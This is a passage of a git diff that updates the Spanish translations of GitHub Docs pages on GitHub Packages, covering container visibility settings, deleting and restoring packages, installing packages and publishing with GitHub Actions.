+   ![Botón "Agregar repositorio"](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png)
-   
-4. Repeat for any additional repositories you would like to allow access.
+3. Busca el repositorio que quieras agregar.
 
-5. If the codespaces for a repository no longer need access to an image, you can remove access.
+   ![Botón "Agregar repositorio"](/assets/images/help/package-registry/manage-codespaces-access-search.png)
 
-   !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png)
+4. Repite los pasos para cualquier repositorio adicional al que quieras otorgarle acceso.
 
-## Configuring visibility of container images for your personal account
+5. Si el codespace para un repositorio ya no necesita acceso a una imagen, puedes eliminar el acceso.
 
-When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings.
+   ![Botón "Eliminar repositorio"](/assets/images/help/package-registry/manage-codespaces-access-item.png)
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+## Configurar la visibilidad de las imágenes de contenedor para tu cuenta personal
+
+Cuando publicas un paquete por primera vez, la visibilidad predeterminada es privada y solo tú puedes verlo. Puedes modificar el acceso a las imágenes de contenedor públicas si cambias la configuración de acceso.
+
+Se puede acceder anónimamente a un paquete público sin autenticación. Una vez que hagas tu paquete público, no puedes hacerlo privado nuevamente.
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. Debajo de "Zona de peligro", elige una configuración de visibilidad:
+    - Para que la imagen del contenedor sea visible para todos, da clic en **Hacer público**.
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **Advertencia:** Una vez que hagas público algún paquete no podrás volverlo a hacer privado.
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - Para hacer la la imagen de contenedor sea visible para una selección personalizada de individuos, da clic en **Hacer privada**. ![Opciones de visibilidad del contenedor](/assets/images/help/package-registry/container-visibility-option.png)
 
-## Container creation visibility for organization members
+## Visibilidad de creación de un contenedor para los miembros de una organización
 
-You can choose the visibility of containers that organization members can publish by default.
+Puedes elegir la visibilidad de los contenedores que los miembros de las organizaciones pueden publicar predeterminadamente.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. On the left, click **Packages**.
-6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images.
-    - To enable organization members to create public container images, click **Public**.
-    - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images.
-    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members.
-    ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png)
+4. A la izquierda, da clic en **Paquetes**.
+6. Debajo de "Creación de contenedores", elige si quieres habilitar la creación de imágenes de contenedor públicas, privadas o internas.
+    - Para habilitar a los miembros de la organización para que creen imágenes de contenedor, da clic en **Públicas**.
+    - Para habilitar a los miembros de la organización para que creen imágenes de contenedor que solo sean visibles para otros miembros de la organización, da clic en **Privadas**. Puedes personalizar aún más la visibilidad de las imagenes de contenedor privadas.
+    - Para habilitar a los miembros de la organización para que creen imágenes de contenedor internas que sean visibles para todos los miembros organizacionales, haz clic en **Interno**. Si la organización pertenece a una empresa, las imágenes de contenedor serán visibles para todos los miembros de la empresa. ![Opciones de visibilidad para las imágenes de contenedor que publican los miembros de la organización](/assets/images/help/package-registry/container-creation-org-settings.png)
 
-## Configuring visibility of container images for an organization
+## Configurar la visibilidad de las imágenes de contenedor para una organización
 
-When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings.
+Cuando publicas un paquete por primera vez, la visibilidad predeterminada es privada y solo tú puedes verlo. Puedes otorgar roles de acceso diferentes a los usuarios o equipos para tu imagen de contenedor a través de la configuración de acceso.
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+Se puede acceder anónimamente a un paquete público sin autenticación. Una vez que hagas tu paquete público, no puedes hacerlo privado nuevamente.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. Debajo de "Zona de peligro", elige una configuración de visibilidad:
+    - Para que la imagen del contenedor sea visible para todos, da clic en **Hacer público**.
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **Advertencia:** Una vez que hagas público algún paquete no podrás volverlo a hacer privado.
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - Para hacer la la imagen de contenedor sea visible para una selección personalizada de individuos, da clic en **Hacer privada**. ![Opciones de visibilidad del contenedor](/assets/images/help/package-registry/container-visibility-option.png)
diff --git a/translations/es-ES/content/packages/learn-github-packages/deleting-a-package.md b/translations/es-ES/content/packages/learn-github-packages/deleting-a-package.md
index 76b036acfb..f21a85f3a4 100644
--- a/translations/es-ES/content/packages/learn-github-packages/deleting-a-package.md
+++ b/translations/es-ES/content/packages/learn-github-packages/deleting-a-package.md
@@ -4,7 +4,6 @@ intro: 'Puedes borrar una versión de un paquete {% ifversion not ghae %}privado
 product: '{% data reusables.gated-features.packages %}'
 versions:
   ghes: '>=2.22 <3.1'
-  ghae: '*'
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
diff --git a/translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
index ddd7a0adcc..26d0725a9b 100644
--- a/translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
+++ b/translations/es-ES/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
@@ -11,6 +11,7 @@ versions:
   fpt: '*'
   ghes: '>=3.1'
   ghec: '*'
+  ghae: '*'
 shortTitle: Delete & restore a package
 ---
 
@@ -36,6 +37,7 @@ On {% data variables.product.prodname_dotcom %}, you can also restore an entire
 - You restore the package within 30 days of its deletion.
 - The same package namespace is still available and not used for a new package.
 
+{% ifversion fpt or ghec or ghes %}
 ## Packages API support
 
 {% ifversion fpt or ghec %}
@@ -44,7 +46,7 @@ You can use the REST API to manage your packages. For more information, see the
 
 {% endif %}
 
-For packages that inherit their permissions and access from repositories, you can use GraphQL to delete a specific package version.{% ifversion fpt or ghec %} The {% data variables.product.prodname_registry %} GraphQL API does not support containers or Docker images that use the package namespace `https://ghcr.io/OWNER/PACKAGE-NAME`. For more information about GraphQL support, see "[Deleting a version of a repository-scoped package with GraphQL](#deleting-a-version-of-a-repository-scoped-package-with-graphql)."
+For packages that inherit their permissions and access from repositories, you can use GraphQL to delete a specific package version.{% ifversion fpt or ghec %} The {% data variables.product.prodname_registry %} GraphQL API does not support containers or Docker images that use the package namespace `https://ghcr.io/OWNER/PACKAGE-NAME`.{% endif %} For more information about GraphQL support, see "[Deleting a version of a repository-scoped package with GraphQL](#deleting-a-version-of-a-repository-scoped-package-with-graphql)."
 
 {% endif %}
 
@@ -63,7 +65,7 @@ Repository-scoped packages on {% data variables.product.prodname_registry %} inc
 {% ifversion fpt or ghec %}
 
 To delete a package that has granular permissions separate from a repository, such as container images stored at `https://ghcr.io/OWNER/PACKAGE-NAME`, you must have admin access to the package.
- <!--PLACEHOLDER - once packages restructuring is done this is a good place to link to the access control and visibility article.-->
+For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
 
 {% endif %}
 
@@ -82,14 +84,14 @@ To delete a version of a repository-scoped package, you must have admin permissi
 6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
   ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
+{% ifversion fpt or ghec or ghes %}
 ### Deleting a version of a repository-scoped package with GraphQL
 
 For packages that inherit their permissions and access from repositories, you can use the GraphQL to delete a specific package version.
 
 {% ifversion fpt or ghec %}
-GraphQL is not supported for containers or Docker images at `ghcr.io`.
+For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
 {% endif %}
-<!--PLACEHOLDER for when API link is live:  For full support, use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)." -->
 
 Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)."
 
@@ -109,6 +111,8 @@ For more information about the `deletePackageVersion` mutation, see "[`deletePac
 
 You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}.
 
+{% endif %}
+
 {% ifversion fpt or ghec %}
 ### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %}
 
@@ -124,12 +128,12 @@ To review who can delete a package version, see "[Required permissions](#require
 6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
   ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 
-### Deleting a version of an organization-scoped package on GitHub
+### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %}
 
 To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps.
 To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)."
 
-To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)."
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
@@ -189,10 +193,16 @@ You can restore a deleted package or version if:
 
 For example, if you have a deleted rubygem package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed.
 
-You must also meet one of these permission requirements:
+{% ifversion fpt or ghec %}
+To restore a deleted package, you must also meet one of these permission requirements:
   - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %}
   - For user-account scoped packages: Your user account owns the deleted package.
   - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %}
+{% endif %}
+
+{% ifversion ghae or ghes %}
+To delete a package, you must also have admin permissions to the repository that owns the deleted package.
+{% endif %}
 
 For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
 
@@ -200,7 +210,7 @@ Once the package is restored, the package will use the same namespace it did bef
 
 ### Restoring a package in an organization
 
-You can restore a deleted package through your organization account settings, as long as the package was in one of your repositories{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
+ You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
 
 To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
 
diff --git a/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md b/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md
index a3523e6ab3..230fdd109a 100644
--- a/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md
+++ b/translations/es-ES/content/packages/learn-github-packages/installing-a-package.md
@@ -1,6 +1,6 @@
 ---
-title: Installing a package
-intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.'
+title: Instalar un paquete
+intro: 'Puedes instalar un paquete desde {% data variables.product.prodname_registry %} y usar el paquete como dependencia en tu propio proyecto.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/installing-a-package
@@ -17,17 +17,17 @@ versions:
 {% data reusables.package_registry.packages-ghes-release-stage %}
 {% data reusables.package_registry.packages-ghae-release-stage %}
 
-## About package installation
+## Acerca de la instalación del paquete
 
-You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)."
+También puedes buscar en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} para encontrar paquetes en el {% data variables.product.prodname_registry %} que puedes instalar en tu propio proyecto. Para obtener más información, consulta "[Buscar {% data variables.product.prodname_registry %} para paquetes](/search-github/searching-on-github/searching-for-packages)".
 
-After you find a package, you can read the package's description and installation and usage instructions on the package page.
+Una vez que encuentres un paquete, puedes leer las instrucciones de la descripción y la instalación y el uso del paquete en la página del paquete.
 
-## Installing a package
+## Instalar un paquete
 
-You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines.
+Puedes instalar un paquete del {% data variables.product.prodname_registry %} si utilizas cualquier {% ifversion fpt or ghae or ghec %}cliente de paquetes compatible{% else %}tipo de paquete habilitado en tu instancia{% endif %} siguiendo los mismos lineamientos generales.
 
-1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)."
-2. Install the package using the instructions for your package client.
+1. Autenticar para {% data variables.product.prodname_registry %} usando las instrucciones para tu cliente de paquete. Para obtener más información, consulta la sección "[Autenticarse en los Paquetes de GitHub](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)".
+2. Instala el paquete usando las instrucciones para tu cliente de paquete.
 
-For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)."
+Para obtener instrucciones específicas para tu cliente de paquetes, consulta la sección "[Trabajar con un registro del {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)".
diff --git a/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md
index 63268fe2a2..aa1182e2f8 100644
--- a/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md
+++ b/translations/es-ES/content/packages/learn-github-packages/introduction-to-github-packages.md
@@ -112,7 +112,7 @@ You can delete a version of a private package in the {% data variables.product.p
 You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API.
 {% endif %}
 
-When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)."
+When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)."
 
 You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)."
 
diff --git a/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
index f33c0fa3a5..7aa692a30e 100644
--- a/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
+++ b/translations/es-ES/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing and installing a package with GitHub Actions
-intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.'
+title: Publicar e instalar un paquete con GitHub Actions
+intro: 'Puedes configurar un flujo de trabajo en {% data variables.product.prodname_actions %} para publicar o instalar automáticamente un paquete desde {% data variables.product.prodname_registry %}.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions
@@ -11,79 +11,79 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Publish & install with Actions
+shortTitle: Publicar & instalar con acciones
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 {% data reusables.package_registry.packages-ghae-release-stage %}
 
-## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}
+## Acerca de {% data variables.product.prodname_registry %} con {% data variables.product.prodname_actions %}
 
-{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)."
+{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} Para obtener más información, consulta "[Acerca de {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)."
 
-You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow.
+Puedes ampliar las capacidades de CI y CD de tu repositorio publicando o instalando paquetes como parte de tu flujo de trabajo.
 
 {% ifversion fpt or ghec %}
-### Authenticating to the {% data variables.product.prodname_container_registry %}
+### Autenticarse en el {% data variables.product.prodname_container_registry %}
 
 {% data reusables.package_registry.authenticate_with_pat_for_container_registry %}
 
 {% endif %}
 
-### Authenticating to package registries on {% data variables.product.prodname_dotcom %}
+### Autenticarse en los registros de paquetes en {% data variables.product.prodname_dotcom %}
 
-{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+{% ifversion fpt or ghec %}Si quieres que tu flujo de trabajo se autentique en el {% data variables.product.prodname_registry %} para acceder a un registro de paquete diferente al de {% data variables.product.prodname_container_registry %} en {% data variables.product.product_location %}, entonces{% else %} Para autenticarte en los registros de paquetes en {% data variables.product.product_name %},{% endif %} te recomendamos utilizar el `GITHUB_TOKEN` que crea {% data variables.product.product_name %} automáticamente para tu repositorio cuando habilitas las {% data variables.product.prodname_actions %} en vez de un token de acceso personal para autenticación. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Debes configurar los permisos para este token de acceso en el archivo del flujo de trabajo para otorgar acceso de lectura para el alcance `contents` y acceso de escritura para el de `packages`. {% else %}Tiene permisos de lectura y escritura para los paquetes del repositorio en donde se ejecuta el flujo de trabajo. {% endif %}Para las bifurcaciones, se otorga acceso de lectura al `GITHUB_TOKEN` en el repositorio padre. Para obtener más información, consulta "[Autenticar con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)".
 
-You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+Puedes hacer referencia al `GITHUB_TOKEN` en tu archivo de flujo de trabajo mediante el contexto {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %}. Para más información, consulta "[Autenticando con el GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
 
-## About permissions and package access for repository-owned packages
+## Acerca de los permisos y acceso a los paquetes para los paquetes que pertenecen a los repositorios
 
 {% note %}
 
-**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`.{% endif %}
+**Nota:** Los paquetes que pertenecen a repositorios incluyen RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}y Gradle. {% else %}Los paquetes de Gradle y de Docker que utilizan el designador de nombre del paquete `docker.pkg.github.com`.{% endif %}
 
 {% endnote %}
 
-When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)."
+Cuando habilitas las Acciones de GitHub, GitHub instala una App GitHub en tu repositorio. El secreto del `GITHUB_TOKEN` es un token de acceso a la instalación de GitHub App. Puedes utilizar el token de acceso a la instalación para autenticarte en nombre de la GitHub App instalada en tu repositorio. Los permisos del token están limitados al repositorio que contiene tu flujo de trabajo. Para obtener más información, consulta la sección "[Permisos para el GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)".
 
-{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow.
+El {% data variables.product.prodname_registry %} te permite subir y extraer paquetes mediante el `GITHUB_TOKEN` que está disponible para un flujo de trabajo de {% data variables.product.prodname_actions %}.
 
 {% ifversion fpt or ghec %}
-## About permissions and package access for {% data variables.product.prodname_container_registry %}
+## Acerca de los permisos y el acceso de paquetes para el {% data variables.product.prodname_container_registry %}
 
-The {% data variables.product.prodname_container_registry %} (`ghcr.io`) allows users to create and administer containers as free-standing resources at the organization level. Containers can be owned by an organization or personal user account and you can customize access to each of your containers separately from repository permissions.
+El {% data variables.product.prodname_container_registry %} (`ghcr.io`) permite a los usuarios crear y administrar contenedores como recursos independientes a nivel organizacional. Los contenedores pueden pertenecer a una organización o a una cuenta de usuario personal y puedes personalizar el acceso para cada uno de tus contenedores por aparte de los permisos del repositorio.
 
-All workflows accessing the {% data variables.product.prodname_container_registry %} should use the `GITHUB_TOKEN` instead of a personal access token. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+Todos los flujos de trabajo que accedan al {% data variables.product.prodname_container_registry %} deben utilizar el `GITHUB_TOKEN` en vez de un token de acceso personal. Para obtener más información acerca de las mejores prácticas de seguridad, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)".
 
-## Default permissions and access settings for containers modified through workflows
+## Configuración de acceso y permisos predeterminados para los contenedores que se modifican a través de los flujos de trabajo
 
-When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well.
+Cuando creas, instalas, modificas o borras un contenedor a través de un flujo de trabajo, hay algunos permisos y configuraciones de acceso predeterminados que se utilizan para garantizar que los administradores tengan acceso al fluljo de trabajo. También puedes ajustar esta configuración de acceso.
 
-For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then:
-- The container inherits the visibility and permissions model of the repository where the workflow is run.
-- Repository admins where the workflow is run become the admins of the container once the container is created.
+Por ejemplo, predeterminadamente, si un flujo de trabajo crea un contenedor que utilice el `GITHUB_TOKEN`, entonces:
+- El contenedor hereda la visibilidad el modelo de permisos del repositorio en donde se ejecuta el flujo de trabajo.
+- Los administradores de repositorio donde se ejecuta el flujo de trabajo se convierten en los administradores del contenedor una vez que este se cree.
 
-These are more examples of how default permissions work for workflows that manage packages.
+Estos son más ejemplos de cómo funcionan los permisos predeterminados para los flujos de trabajo que administran paquetes.
 
-| {% data variables.product.prodname_actions %} workflow task | Default permissions and access |
-|----|----|
-| Download an existing container | - If the container is public, any workflow running in any repository can download the container. <br> - If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise <br> - If the container is private, only workflows running in repositories that are given read permission on that container can download the container. <br>
-| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container.
-| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container.
+| Tarea de flujo de trabajo de {% data variables.product.prodname_actions %} | Acceso y permisos predeterminados                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Descargar un contenedor existente                                          | - Si el contenedor es público, cualquier flujo de trabajo que se ejecute en cualquier repositorio puede descargar el contenedor. <br> - Si el contenedor es interno, entonces todos los flujos de trabajo que se ejecuten en un repositorio que pertenezca a la cuenta empresarial podrá descargarlo. Para las organziaciones que pertenecen a una empresa, puedes leer cualquier repositorio en la empresa <br> - Si el contenedor es privado, solo los flujos de trabajo que se ejecuten en los repositorios a los que se les otorga permiso de lectura en dicho contenedor podrán descargarlo. <br> |
+| Carga una versión nueva a un contenedor existente                          | - Si el contenedor es privado, interno, o público, solo los flujos de trabajo que se ejecuten en repositorios que tengan el permiso de escritura en dicho contenedor podrán cargar versiones nuevas de este.                                                                                                                                                                                                                                                                                                                                                                                                             |
+| Borrar un contenedor o versiones de un contenedor                          | - Si el contenedor es privado, interno o público, solo los flujos de trabajo que se ejecuten en los repositorios a los que se les otorga permiso de borrado podrán borrar las versiones existentes de este.                                                                                                                                                                                                                                                                                                                                                                                                              |
 
-You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+También puedes ajustar el acceso a los contenedores de forma más granular o ajustar el comportamiento de algunos de los permisos predeterminados. Para obtener más información, consulta la sección "[Configurar la visibilidad y el control de accesos de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)".
 
 {% endif %}
 
-## Publishing a package using an action
+## Publicar un paquete mediante una acción
 
-You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}.
+Puedes utilizar {% data variables.product.prodname_actions %} para publicar paquetes automáticamente como parte de tu flujo de integración contínua (IC). Este acercamiento a los despliegues contínuos (DC) te permite automatizar la creación de nuevas versiones de los paquetes si el código cumple con tus estándares de calidad. Por ejemplo, podrías crear un flujo de trabajo que ejecute pruebas de IC cada vez que un desarrollador suba código a alguna rama en particular. Si estas pruyebas pasan, el flujo de trabajo puede publicar una versión nueva del paquete en el {% data variables.product.prodname_registry %}.
 
 {% data reusables.package_registry.actions-configuration %}
 
-The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}.
+El siguiente ejemplo ilustra cómo puedes utilizar las {% data variables.product.prodname_actions %} para crear {% ifversion not fpt or ghec %}y probar{% endif %} tu app y luego crear una imagen de Docker automáticamente y publicarla en el {% data variables.product.prodname_registry %}.
 
-Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML:
+Crea un archivo de flujo de trabajo nuevo en tu repositorio (tal como `.github/workflows/deploy-image.yml`), y agrega el siguiente YAML:
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
@@ -160,7 +160,7 @@ jobs:
 ```
 {% endif %}
 
-The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
+La configuración relevante se explica en la siguiente tabla. Para encontrar los detalles completos de cada elemento en un flujo de trabajo, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
 
 <table>
 <tr>
@@ -174,7 +174,7 @@ on:
 {% endraw %}
 </td>
 <td>
-  Configures the <code>Create and publish a Docker image</code> workflow to run every time a change is pushed to the branch called <code>release</code>.
+  Configura el flujo de trabajo de <code>Crear y publicar una imagen de Docker</code> para que se ejecute cada vez que se sube un cambio a la rama que se llama <code>release</code>.
 </td>
 </tr>
 
@@ -191,7 +191,7 @@ env:
 {% endraw %}
 </td>
 <td>
-  Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds.
+  Define dos variables de ambiente personalizadas para el flujo de trabajo. Estas se utilizan para el dominio del {% data variables.product.prodname_container_registry %} y para un nombre para la imagen de Docker que compila este flujo de trabajo.
 </td>
 </tr>
 
@@ -206,7 +206,7 @@ jobs:
 {% endraw %}
